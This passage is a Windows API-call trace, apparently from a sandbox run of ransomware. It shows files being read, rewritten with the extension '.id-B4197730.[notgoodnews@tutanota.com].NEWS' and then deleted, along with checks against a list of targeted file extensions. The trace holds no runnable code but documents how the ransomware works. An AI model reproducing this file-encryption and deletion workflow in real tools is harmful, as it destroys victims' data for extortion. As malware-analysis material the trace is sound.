hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=80254) returned 1 [0065.104] CloseHandle (hObject=0x378) returned 1 [0065.104] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0065.104] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.105] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.105] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.105] GetLastError () returned 0x0 [0065.105] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1397e, lpOverlapped=0x0) returned 1 [0065.111] WriteFile (in: hFile=0x344, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13980, lpOverlapped=0x0) returned 1 [0065.114] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.114] WriteFile (in: hFile=0x344, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0065.114] SetEndOfFile (hFile=0x344) returned 1 [0065.115] CloseHandle (hObject=0x344) returned 1 [0065.122] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.122] SetEndOfFile (hFile=0x378) returned 1 [0065.123] CloseHandle (hObject=0x378) returned 1 [0065.123] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.124] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0065.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.124] lstrlenW (lpString=".doc") returned 4 [0065.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.124] lstrlenW (lpString=".docx") returned 5 [0065.124] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0065.124] lstrlenW (lpString=".pdf") returned 4 [0065.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.124] lstrlenW (lpString=".xls") returned 4 [0065.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.124] lstrlenW (lpString=".xlsx") returned 5 [0065.124] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0065.124] lstrlenW (lpString=".ppt") returned 4 [0065.124] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.124] lstrlenW (lpString=".zip") returned 4 [0065.124] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.124] lstrlenW (lpString=".rar") returned 4 [0065.124] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.124] lstrlenW (lpString=".bz2") returned 4 [0065.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString=".7z") returned 3 [0065.125] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString=".dbf") returned 4 [0065.125] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString=".1cd") returned 4 [0065.125] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString=".jpg") returned 4 [0065.125] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString=".doc") returned 4 [0065.125] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString=".docx") returned 5 [0065.125] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0065.125] lstrlenW (lpString=".pdf") returned 4 [0065.125] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString=".xls") returned 4 [0065.125] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString=".xlsx") returned 5 [0065.125] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0065.125] lstrlenW (lpString=".ppt") returned 4 [0065.125] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.125] lstrlenW (lpString=".zip") returned 4 [0065.125] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.125] lstrlenW (lpString=".rar") returned 4 [0065.125] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.125] lstrlenW (lpString=".bz2") returned 4 [0065.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.126] lstrlenW (lpString=".7z") returned 3 [0065.126] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.126] lstrlenW (lpString=".dbf") returned 4 [0065.126] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.126] lstrlenW (lpString=".1cd") returned 4 [0065.126] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0065.126] lstrlenW (lpString=".jpg") returned 4 [0065.126] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.126] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.126] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0065.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.131] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=272046) returned 1 [0065.131] CloseHandle (hObject=0x344) returned 1 [0065.131] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0065.131] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.132] GetLastError () returned 0x0 [0065.132] ReadFile (in: hFile=0x344, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x426ae, lpOverlapped=0x0) returned 1 [0065.149] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x426b0, lpOverlapped=0x0) returned 1 [0065.155] ReadFile (in: hFile=0x344, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.155] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0065.156] SetEndOfFile (hFile=0x37c) returned 1 [0065.156] CloseHandle (hObject=0x37c) returned 1 [0065.161] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.161] SetEndOfFile (hFile=0x344) returned 1 [0065.164] CloseHandle (hObject=0x344) returned 1 [0065.164] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.165] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0065.797] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString=".doc") returned 4 [0065.798] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".docx") returned 5 [0065.798] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.798] lstrlenW (lpString=".pdf") returned 4 [0065.798] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".xls") returned 4 [0065.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".xlsx") returned 5 [0065.798] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.798] lstrlenW (lpString=".ppt") returned 4 [0065.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString=".zip") returned 4 [0065.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.798] lstrlenW (lpString=".rar") returned 4 [0065.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".bz2") returned 4 [0065.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString=".7z") returned 3 [0065.798] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString=".dbf") returned 4 [0065.798] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString=".1cd") returned 4 [0065.798] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.798] lstrlenW (lpString=".jpg") returned 4 [0065.798] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString=".doc") returned 4 [0065.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString=".docx") returned 5 [0065.799] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.799] lstrlenW (lpString=".pdf") returned 4 [0065.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString=".xls") returned 4 [0065.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString=".xlsx") returned 5 [0065.799] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.799] lstrlenW (lpString=".ppt") returned 4 [0065.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString=".zip") returned 4 [0065.799] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.799] lstrlenW (lpString=".rar") returned 4 [0065.799] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString=".bz2") returned 4 [0065.799] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString=".7z") returned 3 [0065.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString=".dbf") returned 4 [0065.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString=".1cd") returned 4 [0065.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0065.799] lstrlenW (lpString=".jpg") returned 4 [0065.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.800] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.800] lstrlenW (lpString="join.avi") returned 8 [0065.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.800] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=199994) returned 1 [0065.800] CloseHandle (hObject=0x344) returned 1 [0065.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0065.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.800] lstrlenW (lpString=".doc") returned 4 [0065.800] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.800] lstrlenW (lpString=".docx") returned 5 [0065.800] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.800] lstrlenW (lpString=".pdf") returned 4 [0065.801] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString=".xls") returned 4 [0065.801] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString=".xlsx") returned 5 [0065.801] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.801] lstrlenW (lpString=".ppt") returned 4 [0065.801] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.801] lstrlenW (lpString=".zip") returned 4 [0065.801] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString=".rar") returned 4 [0065.801] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString=".bz2") returned 4 [0065.801] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString=".7z") returned 3 [0065.801] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.801] lstrlenW (lpString=".dbf") returned 4 [0065.801] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.801] lstrlenW (lpString=".1cd") returned 4 [0065.801] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.801] lstrlenW (lpString=".jpg") returned 4 [0065.801] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.802] lstrlenW (lpString=".doc") returned 4 [0065.802] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".docx") returned 5 [0065.802] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0065.802] lstrlenW (lpString=".pdf") returned 4 [0065.802] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".xls") returned 4 [0065.802] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".xlsx") returned 5 [0065.802] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0065.802] lstrlenW (lpString=".ppt") returned 4 [0065.802] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.802] lstrlenW (lpString=".zip") returned 4 [0065.802] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".rar") returned 4 [0065.802] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".bz2") returned 4 [0065.802] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString=".7z") returned 3 [0065.802] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.802] lstrlenW (lpString=".dbf") returned 4 [0065.802] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.802] lstrlenW (lpString=".1cd") returned 4 [0065.802] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0065.802] lstrlenW (lpString=".jpg") returned 4 [0065.802] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.803] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0065.803] lstrlenW (lpString="split.avi") returned 9 [0065.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.803] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=181964) returned 1 [0065.803] CloseHandle (hObject=0x344) returned 1 [0065.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0065.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.803] lstrlenW (lpString=".doc") returned 4 [0065.803] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.803] lstrlenW (lpString=".docx") returned 5 [0065.803] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0065.803] lstrlenW (lpString=".pdf") returned 4 [0065.803] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.803] lstrlenW (lpString=".xls") returned 4 [0065.803] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".xlsx") returned 5 [0065.804] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0065.804] lstrlenW (lpString=".ppt") returned 4 [0065.804] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString=".zip") returned 4 [0065.804] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".rar") returned 4 [0065.804] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".bz2") returned 4 [0065.804] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".7z") returned 3 [0065.804] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString=".dbf") returned 4 [0065.804] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString=".1cd") returned 4 [0065.804] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString=".jpg") returned 4 [0065.804] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.804] lstrlenW (lpString=".doc") returned 4 [0065.804] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".docx") returned 5 [0065.804] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0065.804] lstrlenW (lpString=".pdf") returned 4 [0065.804] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0065.804] lstrlenW (lpString=".xls") returned 4 [0065.804] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString=".xlsx") returned 5 [0065.805] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0065.805] lstrlenW (lpString=".ppt") returned 4 [0065.805] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.805] lstrlenW (lpString=".zip") returned 4 [0065.805] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString=".rar") returned 4 [0065.805] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString=".bz2") returned 4 [0065.805] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString=".7z") returned 3 [0065.805] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0065.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.805] lstrlenW (lpString=".dbf") returned 4 [0065.805] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0065.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0065.805] lstrlenW 